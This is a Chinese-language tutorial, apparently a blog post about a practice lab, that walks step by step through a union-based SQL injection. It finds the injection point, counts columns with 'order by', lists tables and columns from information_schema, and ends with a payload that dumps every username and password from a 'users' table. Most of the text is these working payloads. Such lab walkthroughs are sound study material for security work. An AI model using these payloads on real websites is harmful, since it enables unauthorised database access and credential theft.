在使用中,例如如下页面,找到它所有的用户名和密码
首先找到SQL注入点,通过使用id=1’ and 1=2来判断,其中的’可用’或),}等替换 。
错误结果举例:
正确结果:此时welcome下面是没有输出的
通过上面两幅图我们可以知道,闭合方式为id=1‘
接下来通过order by来判断列数
![在这里插入图片描述](https://img-blog.csdnimg.cn/20190907215535533.png
当我们假设它的列是2或3时,均正确,当假设列为4时,输出错误,所以列数为3
再使用database()找到库的名字将select 1,2,database()和下面的结果对比,只显示后两位,所以输入select 1,database(),3也是一样的,只需要注意列数时3,若输入select 1,2,3,database()就会错误,另外需要注意的是?id=-1’ ,若为1就会从第一行开始输出,无法看到我们输入的2和database,
上面是id=1’时的输出,可见我们并不能看到2和database(),并且我们也从第一张图中看到库名为security
再从库中找的表名
Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+
再在表下输出所有列名
?id=-1’ union all Select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’and table_schema=‘security’–+
可知三列的名字为id,username,password,最后一步,找出所有的用户名和密码
?id=-1’ union all Select 1,group_concat(username),group_concat(password) from security.users–+
注:group_concat()函数的作用是输出括号里变量的所有值
–+的意思就是# 注释的意思,理解不来也没关系,只需每次在句子末尾加上就行